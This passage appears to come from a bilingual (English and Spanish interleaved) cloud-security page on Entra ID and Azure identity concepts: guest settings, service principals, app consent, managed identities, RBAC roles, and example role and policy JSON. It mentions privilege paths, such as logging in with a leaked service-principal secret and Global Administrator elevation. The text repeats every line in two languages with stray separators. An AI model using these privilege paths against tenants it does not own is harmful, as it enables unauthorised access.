- Restringir a los usuarios de recuperar la(s) clave(s) de BitLocker para sus dispositivos: Predeterminado No (ver en Configuración de Dispositivos)
|
||||
- Leer otros usuarios: Predeterminado **Sí** (a través de Microsoft Graph)
|
||||
- **Invitados**
|
||||
- **Restricciones de acceso para usuarios invitados**
|
||||
- **Los usuarios invitados tienen el mismo acceso que los miembros** otorga todos los permisos de usuario miembro a los usuarios invitados por defecto.
|
||||
- **Los usuarios invitados tienen acceso limitado a propiedades y membresías de objetos de directorio (predeterminado)** restringe el acceso de invitados solo a su propio perfil de usuario por defecto. El acceso a información de otros usuarios y grupos ya no está permitido.
|
||||
- **El acceso de los usuarios invitados está restringido a propiedades y membresías de sus propios objetos de directorio** es el más restrictivo.
|
||||
- **Los invitados pueden invitar**
|
||||
- **Cualquiera en la organización puede invitar a usuarios invitados, incluidos invitados y no administradores (el más inclusivo) - Predeterminado**
|
||||
- **Los usuarios miembros y los usuarios asignados a roles de administrador específicos pueden invitar a usuarios invitados, incluidos invitados con permisos de miembro**
|
||||
- **Solo los usuarios asignados a roles de administrador específicos pueden invitar a usuarios invitados**
|
||||
- **Nadie en la organización puede invitar a usuarios invitados, incluidos administradores (el más restrictivo)**
|
||||
- **Los usuarios externos pueden salir**: Predeterminado **Verdadero**
|
||||
- Permitir a los usuarios externos salir de la organización
|
||||
|
||||
> [!TIP]
|
||||
> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
|
||||
> Aunque esté restringido por defecto, los usuarios (miembros e invitados) con permisos otorgados podrían realizar las acciones anteriores.
|
||||
|
||||
### **Groups**
|
||||
### **Grupos**
|
||||
|
||||
There are **2 types of groups**:
|
||||
Hay **2 tipos de grupos**:
|
||||
|
||||
- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
|
||||
- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
|
||||
- This will have an **email address** with the domain of the EntraID tenant.
|
||||
- **Seguridad**: Este tipo de grupo se utiliza para dar acceso a los miembros a aplicaciones, recursos y asignar licencias. Los usuarios, dispositivos, principales de servicio y otros grupos pueden ser miembros.
|
||||
- **Microsoft 365**: Este tipo de grupo se utiliza para la colaboración, dando acceso a los miembros a un buzón compartido, calendario, archivos, sitio de SharePoint, etc. Los miembros del grupo solo pueden ser usuarios.
|
||||
- Esto tendrá una **dirección de correo electrónico** con el dominio del inquilino de EntraID.
|
||||
|
||||
There are **2 types of memberships**:
|
||||
Hay **2 tipos de membresías**:
|
||||
|
||||
- **Assigned**: Allow to manually add specific members to a group.
|
||||
- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
|
||||
- **Asignado**: Permite agregar manualmente miembros específicos a un grupo.
|
||||
- **Membresía dinámica**: Gestiona automáticamente la membresía utilizando reglas, actualizando la inclusión del grupo cuando cambian los atributos de los miembros.
|
||||
|
||||
### **Service Principals**
|
||||
### **Principales de Servicio**
|
||||
|
||||
A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity.
|
||||
Un **Principal de Servicio** es una **identidad** creada para **uso** con **aplicaciones**, servicios alojados y herramientas automatizadas para acceder a recursos de Azure. Este acceso está **restringido por los roles asignados** al principal de servicio, dándote control sobre **qué recursos pueden ser accedidos** y a qué nivel. Por razones de seguridad, siempre se recomienda **usar principales de servicio con herramientas automatizadas** en lugar de permitirles iniciar sesión con una identidad de usuario.
|
||||
|
||||
It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
|
||||
Es posible **iniciar sesión directamente como un principal de servicio** generándole un **secreto** (contraseña), un **certificado**, o otorgando acceso **federado** a plataformas de terceros (por ejemplo, Github Actions) sobre él.
|
||||
|
||||
- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
|
||||
- If you choose certificate authentication, make sure the **application will have access over the private key**.
|
||||
- Si eliges la autenticación por **contraseña** (por defecto), **guarda la contraseña generada** ya que no podrás acceder a ella nuevamente.
|
||||
- Si eliges la autenticación por certificado, asegúrate de que la **aplicación tenga acceso sobre la clave privada**.
|
||||
|
||||
### App Registrations
|
||||
### Registraciones de Aplicaciones
|
||||
|
||||
An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions.
|
||||
Una **Registración de Aplicación** es una configuración que permite a una aplicación integrarse con Entra ID y realizar acciones.
|
||||
|
||||
#### Key Components:
|
||||
#### Componentes Clave:
|
||||
|
||||
1. **Application ID (Client ID):** A unique identifier for your app in Azure AD.
|
||||
2. **Redirect URIs:** URLs where Azure AD sends authentication responses.
|
||||
3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). 
|
||||
1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID).
|
||||
4. **API Permissions:** Specifies what resources or APIs the app can access.
|
||||
5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect).
|
||||
6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant.
|
||||
1. The **service principal** will get all the requested permissions it was configured with.
|
||||
1. **ID de Aplicación (Client ID):** Un identificador único para tu aplicación en Azure AD.
|
||||
2. **URIs de Redirección:** URLs donde Azure AD envía respuestas de autenticación.
|
||||
3. **Certificados, Secretos y Credenciales Federadas:** Es posible generar un secreto o un certificado para iniciar sesión como el principal de servicio de la aplicación, o para otorgar acceso federado a ella (por ejemplo, Github Actions). 
|
||||
1. Si se genera un **certificado** o **secreto**, es posible que una persona **inicie sesión como el principal de servicio** con herramientas CLI al conocer el **ID de aplicación**, el **secreto** o **certificado** y el **inquilino** (dominio o ID).
|
||||
4. **Permisos de API:** Especifica qué recursos o APIs puede acceder la aplicación.
|
||||
5. **Configuraciones de Autenticación:** Define los flujos de autenticación soportados por la aplicación (por ejemplo, OAuth2, OpenID Connect).
|
||||
6. **Principal de Servicio**: Un principal de servicio se crea cuando se crea una Aplicación (si se hace desde la consola web) o cuando se instala en un nuevo inquilino.
|
||||
1. El **principal de servicio** obtendrá todos los permisos solicitados con los que fue configurado.
|
||||
|
||||
### Default Consent Permissions
|
||||
### Permisos de Consentimiento Predeterminados
|
||||
|
||||
**User consent for applications**
|
||||
**Consentimiento del usuario para aplicaciones**
|
||||
|
||||
- **Do not allow user consent**
|
||||
- An administrator will be required for all apps.
|
||||
- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
|
||||
- All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
|
||||
- **Default** low impact permissions (although you need to accept to add them as low):
|
||||
- User.Read - sign in and read user profile
|
||||
- offline_access - maintain access to data that users have given it access to
|
||||
- openid - sign users in
|
||||
- profile - view user's basic profile
|
||||
- email - view user's email address
|
||||
- **Allow user consent for apps (Default)**
|
||||
- All users can consent for any app to access the organization's data.
|
||||
- **No permitir el consentimiento del usuario**
|
||||
- Se requerirá un administrador para todas las aplicaciones.
|
||||
- **Permitir el consentimiento del usuario para aplicaciones de editores verificados, para permisos seleccionados (Recomendado)**
|
||||
- Todos los usuarios pueden consentir permisos clasificados como "bajo impacto", para aplicaciones de editores verificados o aplicaciones registradas en esta organización.
|
||||
- **Permisos de bajo impacto predeterminados** (aunque necesitas aceptar para agregarlos como bajos):
|
||||
- User.Read - iniciar sesión y leer el perfil del usuario
|
||||
- offline_access - mantener acceso a datos a los que los usuarios le han dado acceso
|
||||
- openid - iniciar sesión a los usuarios
|
||||
- profile - ver el perfil básico del usuario
|
||||
- email - ver la dirección de correo electrónico del usuario
|
||||
- **Permitir el consentimiento del usuario para aplicaciones (Predeterminado)**
|
||||
- Todos los usuarios pueden consentir que cualquier aplicación acceda a los datos de la organización.
|
||||
|
||||
**Admin consent requests**: Default **No**
|
||||
**Solicitudes de consentimiento de administrador**: Predeterminado **No**
|
||||
|
||||
- Users can request admin consent to apps they are unable to consent to
|
||||
- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests
|
||||
- Configure also if users will receive email notifications and expiration reminders 
|
||||
- Los usuarios pueden solicitar consentimiento de administrador para aplicaciones a las que no pueden consentir
|
||||
- Si **Sí**: Es posible indicar Usuarios, Grupos y Roles que pueden consentir solicitudes
|
||||
- Configura también si los usuarios recibirán notificaciones por correo electrónico y recordatorios de expiración 
|
||||
|
||||
### **Managed Identity (Metadata)**
|
||||
### **Identidad Administrada (Metadatos)**
|
||||
|
||||
Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure.
|
||||
Las identidades administradas en Azure Active Directory ofrecen una solución para **gestionar automáticamente la identidad** de las aplicaciones. Estas identidades son utilizadas por las aplicaciones con el propósito de **conectarse** a **recursos** compatibles con la autenticación de Azure Active Directory (**Azure AD**). Esto permite **eliminar la necesidad de codificar credenciales en la nube** en el código, ya que la aplicación podrá contactar el servicio de **metadatos** para obtener un token válido para **realizar acciones** como la identidad administrada indicada en Azure.
|
||||
|
||||
There are two types of managed identities:
|
||||
Hay dos tipos de identidades administradas:
|
||||
|
||||
- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
|
||||
- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
|
||||
- **Asignadas por el sistema**. Algunos servicios de Azure permiten **habilitar una identidad administrada directamente en una instancia de servicio**. Cuando habilitas una identidad administrada asignada por el sistema, se crea un **principal de servicio** en el inquilino de Entra ID confiado por la suscripción donde se encuentra el recurso. Cuando se **elimina el recurso**, Azure automáticamente **elimina** la **identidad** por ti.
|
||||
- **Asignadas por el usuario**. También es posible que los usuarios generen identidades administradas. Estas se crean dentro de un grupo de recursos dentro de una suscripción y se creará un principal de servicio en el EntraID confiado por la suscripción. Luego, puedes asignar la identidad administrada a una o **más instancias** de un servicio de Azure (múltiples recursos). Para identidades administradas asignadas por el usuario, la **identidad se gestiona por separado de los recursos que la utilizan**.
|
||||
|
||||
Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
|
||||
Las Identidades Administradas **no generan credenciales eternas** (como contraseñas o certificados) para acceder como el principal de servicio adjunto a ella.
|
||||
|
||||
### Enterprise Applications
|
||||
### Aplicaciones Empresariales
|
||||
|
||||
It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to.
|
||||
Es solo una **tabla en Azure para filtrar principales de servicio** y verificar las aplicaciones que se les han asignado.
|
||||
|
||||
**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities.
|
||||
**No es otro tipo de “aplicación”,** no hay ningún objeto en Azure que sea una “Aplicación Empresarial”, es solo una abstracción para verificar los Principales de Servicio, Registraciones de Aplicaciones e identidades administradas.
|
||||
|
||||
### Administrative Units
|
||||
### Unidades Administrativas
|
||||
|
||||
Administrative units allows to **give permissions from a role over a specific portion of an organization**.
|
||||
Las unidades administrativas permiten **otorgar permisos de un rol sobre una porción específica de una organización**.
|
||||
|
||||
Example:
|
||||
Ejemplo:
|
||||
|
||||
- Scenario: A company wants regional IT admins to manage only the users in their own region.
|
||||
- Implementation:
|
||||
- Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
|
||||
- Populate AUs with users from their respective regions.
|
||||
- AUs can **contain users, groups, or devices**
|
||||
- AUs support **dynamic memberships**
|
||||
- AUs **cannot contain AUs**
|
||||
- Assign Admin Roles:
|
||||
- Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
|
||||
- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
|
||||
- Escenario: Una empresa quiere que los administradores de TI regionales gestionen solo a los usuarios en su propia región.
|
||||
- Implementación:
|
||||
- Crear Unidades Administrativas para cada región (por ejemplo, "AU de América del Norte", "AU de Europa").
|
||||
- Población de AUs con usuarios de sus respectivas regiones.
|
||||
- Las AUs pueden **contener usuarios, grupos o dispositivos**
|
||||
- Las AUs soportan **membresías dinámicas**
|
||||
- Las AUs **no pueden contener AUs**
|
||||
- Asignar Roles de Administrador:
|
||||
- Otorgar el rol de "Administrador de Usuarios" al personal de TI regional, limitado a la AU de su región.
|
||||
- Resultado: Los administradores de TI regionales pueden gestionar cuentas de usuario dentro de su región sin afectar a otras regiones.
|
||||
|
||||
### Entra ID Roles
|
||||
### Roles de Entra ID
|
||||
|
||||
- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
|
||||
- Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
|
||||
- The most privileged role is **Global Administrator**
|
||||
- In the Description of the role it’s possible to see its **granular permissions**
|
||||
- Para gestionar Entra ID hay algunos **roles integrados** que pueden ser asignados a principales de Entra ID para gestionar Entra ID
|
||||
- Consulta los roles en [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
|
||||
- El rol más privilegiado es **Administrador Global**
|
||||
- En la descripción del rol es posible ver sus **permisos granulares**
|
||||
|
||||
## Roles & Permissions
|
||||
## Roles y Permisos
|
||||
|
||||
**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)`
|
||||
**Los roles** son **asignados** a **principales** en un **alcance**: `principal -[HAS ROLE]->(scope)`
|
||||
|
||||
**Roles** assigned to **groups** are **inherited** by all the **members** of the group.
|
||||
**Los roles** asignados a **grupos** son **heredados** por todos los **miembros** del grupo.
|
||||
|
||||
Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group.
|
||||
Dependiendo del alcance al que se asignó el rol, el **rol** podría ser **heredado** a **otros recursos** dentro del contenedor de alcance. Por ejemplo, si un usuario A tiene un **rol en la suscripción**, tendrá ese **rol en todos los grupos de recursos** dentro de la suscripción y en **todos los recursos** dentro del grupo de recursos.
|
||||
|
||||
### **Classic Roles**
|
||||
### **Roles Clásicos**
|
||||
|
||||
| **Owner** | <ul><li>Full access to all resources</li><li>Can manage access for other users</li></ul> | All resource types |
|
||||
| **Propietario** | <ul><li>Acceso total a todos los recursos</li><li>Puede gestionar el acceso para otros usuarios</li></ul> | Todos los tipos de recursos |
|
||||
| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
|
||||
| **Contributor** | <ul><li>Full access to all resources</li><li>Cannot manage access</li></ul> | All resource types |
|
||||
| **Reader** | • View all resources | All resource types |
|
||||
| **User Access Administrator** | <ul><li>View all resources</li><li>Can manage access for other users</li></ul> | All resource types |
|
||||
| **Colaborador** | <ul><li>Acceso total a todos los recursos</li><li>No puede gestionar el acceso</li></ul> | Todos los tipos de recursos |
|
||||
| **Lector** | • Ver todos los recursos | Todos los tipos de recursos |
|
||||
| **Administrador de Acceso de Usuario** | <ul><li>Ver todos los recursos</li><li>Puede gestionar el acceso para otros usuarios</li></ul> | Todos los tipos de recursos |
|
||||
|
||||
### Built-In roles
|
||||
### Roles Integrados
|
||||
|
||||
[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
|
||||
[De la documentación: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[El control de acceso basado en roles de Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) tiene varios **roles integrados de Azure** que puedes **asignar** a **usuarios, grupos, principales de servicio y identidades administradas**. Las asignaciones de roles son la forma en que controlas **el acceso a los recursos de Azure**. Si los roles integrados no satisfacen las necesidades específicas de tu organización, puedes crear tus propios [**roles personalizados de Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
|
||||
|
||||
**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources:
|
||||
Los roles **integrados** se aplican solo a los **recursos** para los que están **destinados**, por ejemplo, consulta estos 2 ejemplos de **roles integrados sobre recursos de Cómputo**:
|
||||
|
||||
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
|
||||
| [Lector de Copia de Seguridad de Disco](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Proporciona permiso al cofre de copia de seguridad para realizar copias de seguridad de disco. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
|
||||
| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
|
||||
| [Inicio de Sesión de Usuario de Máquina Virtual](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Ver Máquinas Virtuales en el portal e iniciar sesión como un usuario regular. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
|
||||
|
||||
This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
|
||||
Estos roles también pueden **ser asignados sobre contenedores lógicos** (como grupos de gestión, suscripciones y grupos de recursos) y los principales afectados los tendrán **sobre los recursos dentro de esos contenedores**.
|
||||
|
||||
- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
|
||||
- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
|
||||
- Encuentra aquí una lista con [**todos los roles integrados de Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
|
||||
- Encuentra aquí una lista con [**todos los roles integrados de Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
|
||||
|
||||
### Custom Roles
|
||||
### Roles Personalizados
|
||||
|
||||
- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
|
||||
- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
|
||||
- It’s possible to configure all the granular permissions the custom role will have
|
||||
- It’s possible to exclude permissions
|
||||
- A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
|
||||
- It’s possible to use wildcards
|
||||
- The used format is a JSON
|
||||
- `actions` are for control actions over the resource
|
||||
- `dataActions` are permissions over the data within the object
|
||||
|
||||
Example of permissions JSON for a custom role:
|
||||
- También es posible crear [**roles personalizados**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
|
||||
- Se crean dentro de un alcance, aunque un rol puede estar en varios alcances (grupos de gestión, suscripción y grupos de recursos)
|
||||
- Es posible configurar todos los permisos granulares que tendrá el rol personalizado
|
||||
- Es posible excluir permisos
|
||||
- Un principal con un permiso excluido no podrá usarlo incluso si el permiso se otorga en otro lugar
|
||||
- Es posible usar comodines
|
||||
- El formato utilizado es un JSON
|
||||
- `actions` son para controlar acciones sobre el recurso
|
||||
- `dataActions` son permisos sobre los datos dentro del objeto
|
||||
|
||||
Ejemplo de JSON de permisos para un rol personalizado:
|
||||
```json
|
||||
{
|
||||
"properties": {
|
||||
"roleName": "",
|
||||
"description": "",
|
||||
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
|
||||
"permissions": [
|
||||
{
|
||||
"actions": [
|
||||
"Microsoft.DigitalTwins/register/action",
|
||||
"Microsoft.DigitalTwins/unregister/action",
|
||||
"Microsoft.DigitalTwins/operations/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
|
||||
"Microsoft.CostManagement/exports/*"
|
||||
],
|
||||
"notActions": [
|
||||
"Astronomer.Astro/register/action",
|
||||
"Astronomer.Astro/unregister/action",
|
||||
"Astronomer.Astro/operations/read",
|
||||
"Astronomer.Astro/organizations/read"
|
||||
],
|
||||
"dataActions": [],
|
||||
"notDataActions": []
|
||||
}
|
||||
]
|
||||
}
|
||||
"properties": {
|
||||
"roleName": "",
|
||||
"description": "",
|
||||
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
|
||||
"permissions": [
|
||||
{
|
||||
"actions": [
|
||||
"Microsoft.DigitalTwins/register/action",
|
||||
"Microsoft.DigitalTwins/unregister/action",
|
||||
"Microsoft.DigitalTwins/operations/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
|
||||
"Microsoft.CostManagement/exports/*"
|
||||
],
|
||||
"notActions": [
|
||||
"Astronomer.Astro/register/action",
|
||||
"Astronomer.Astro/unregister/action",
|
||||
"Astronomer.Astro/operations/read",
|
||||
"Astronomer.Astro/organizations/read"
|
||||
],
|
||||
"dataActions": [],
|
||||
"notDataActions": []
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
### Orden de permisos
|
||||
|
||||
### Permissions order
|
||||
|
||||
- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
|
||||
- An explicit **deny role assignment takes precedence** over the role granting the permission.
|
||||
- Para que un **principal tenga acceso a un recurso**, necesita que se le otorgue un rol explícito (de cualquier manera) **que le otorgue ese permiso**.
|
||||
- Una asignación de rol explícita de **denegación tiene prioridad** sobre el rol que otorga el permiso.
|
||||
|
||||
<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
|
||||
|
||||
### Global Administrator
|
||||
### Administrador Global
|
||||
|
||||
Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
|
||||
El Administrador Global es un rol de Entra ID que otorga **control total sobre el inquilino de Entra ID**. Sin embargo, no otorga permisos sobre los recursos de Azure por defecto.
|
||||
|
||||
Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
|
||||
This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
|
||||
Los usuarios con el rol de Administrador Global tienen la capacidad de '**elevar' a Administrador de Acceso de Usuario en el Grupo de Gestión Raíz de Azure**. Así que los Administradores Globales pueden gestionar el acceso en **todas las suscripciones y grupos de gestión de Azure.**\
|
||||
Esta elevación se puede hacer al final de la página: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
|
||||
|
||||
<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Azure Policies
|
||||
### Políticas de Azure
|
||||
|
||||
**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking.
|
||||
**Las Políticas de Azure** son reglas que ayudan a las organizaciones a asegurar que sus recursos cumplan con estándares específicos y requisitos de cumplimiento. Permiten **hacer cumplir o auditar configuraciones en recursos de Azure**. Por ejemplo, puedes prevenir la creación de máquinas virtuales en una región no autorizada o asegurar que todos los recursos tengan etiquetas específicas para el seguimiento.
|
||||
|
||||
Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources.
|
||||
Las Políticas de Azure son **proactivas**: pueden detener la creación o modificación de recursos no conformes. También son **reactivas**, permitiéndote encontrar y corregir recursos no conformes existentes.
|
||||
|
||||
#### **Key Concepts**
|
||||
#### **Conceptos Clave**
|
||||
|
||||
1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required.
|
||||
2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group).
|
||||
3. **Initiatives**: A collection of policies grouped together for broader enforcement.
|
||||
4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append").
|
||||
1. **Definición de Política**: Una regla, escrita en JSON, que especifica lo que está permitido o requerido.
|
||||
2. **Asignación de Política**: La aplicación de una política a un alcance específico (por ejemplo, suscripción, grupo de recursos).
|
||||
3. **Iniciativas**: Una colección de políticas agrupadas para una aplicación más amplia.
|
||||
4. **Efecto**: Especifica lo que sucede cuando se activa la política (por ejemplo, "Denegar", "Auditar" o "Agregar").
|
||||
|
||||
**Some examples:**
|
||||
**Algunos ejemplos:**
|
||||
|
||||
1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance.
|
||||
2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments.
|
||||
3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs.
|
||||
4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources.
|
||||
5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network.
|
||||
6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption.
|
||||
1. **Asegurar el Cumplimiento con Regiones Específicas de Azure**: Esta política asegura que todos los recursos se desplieguen en regiones específicas de Azure. Por ejemplo, una empresa podría querer asegurar que todos sus datos se almacenen en Europa para cumplir con el GDPR.
|
||||
2. **Hacer Cumplir Estándares de Nomenclatura**: Las políticas pueden hacer cumplir convenciones de nomenclatura para los recursos de Azure. Esto ayuda a organizar e identificar fácilmente los recursos según sus nombres, lo cual es útil en entornos grandes.
|
||||
3. **Restringir Ciertos Tipos de Recursos**: Esta política puede restringir la creación de ciertos tipos de recursos. Por ejemplo, se podría establecer una política para prevenir la creación de tipos de recursos costosos, como ciertos tamaños de VM, para controlar costos.
|
||||
4. **Hacer Cumplir Políticas de Etiquetado**: Las etiquetas son pares clave-valor asociados con recursos de Azure utilizados para la gestión de recursos. Las políticas pueden hacer cumplir que ciertas etiquetas deben estar presentes, o tener valores específicos, para todos los recursos. Esto es útil para el seguimiento de costos, propiedad o categorización de recursos.
|
||||
5. **Limitar el Acceso Público a Recursos**: Las políticas pueden hacer cumplir que ciertos recursos, como cuentas de almacenamiento o bases de datos, no tengan puntos finales públicos, asegurando que solo sean accesibles dentro de la red de la organización.
|
||||
6. **Aplicar Automáticamente Configuraciones de Seguridad**: Las políticas pueden usarse para aplicar automáticamente configuraciones de seguridad a los recursos, como aplicar un grupo de seguridad de red específico a todas las VMs o asegurar que todas las cuentas de almacenamiento utilicen cifrado.
|
||||
|
||||
Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups.
|
||||
|
||||
Azure policy json example:
|
||||
Ten en cuenta que las Políticas de Azure pueden adjuntarse a cualquier nivel de la jerarquía de Azure, pero se utilizan **comúnmente en el grupo de gestión raíz** o en otros grupos de gestión.
|
||||
|
||||
Ejemplo de política de Azure en json:
|
||||
```json
|
||||
{
|
||||
"policyRule": {
|
||||
"if": {
|
||||
"field": "location",
|
||||
"notIn": ["eastus", "westus"]
|
||||
},
|
||||
"then": {
|
||||
"effect": "Deny"
|
||||
}
|
||||
},
|
||||
"parameters": {},
|
||||
"displayName": "Allow resources only in East US and West US",
|
||||
"description": "This policy ensures that resources can only be created in East US or West US.",
|
||||
"mode": "All"
|
||||
"policyRule": {
|
||||
"if": {
|
||||
"field": "location",
|
||||
"notIn": ["eastus", "westus"]
|
||||
},
|
||||
"then": {
|
||||
"effect": "Deny"
|
||||
}
|
||||
},
|
||||
"parameters": {},
|
||||
"displayName": "Allow resources only in East US and West US",
|
||||
"description": "This policy ensures that resources can only be created in East US or West US.",
|
||||
"mode": "All"
|
||||
}
|
||||
```
|
||||
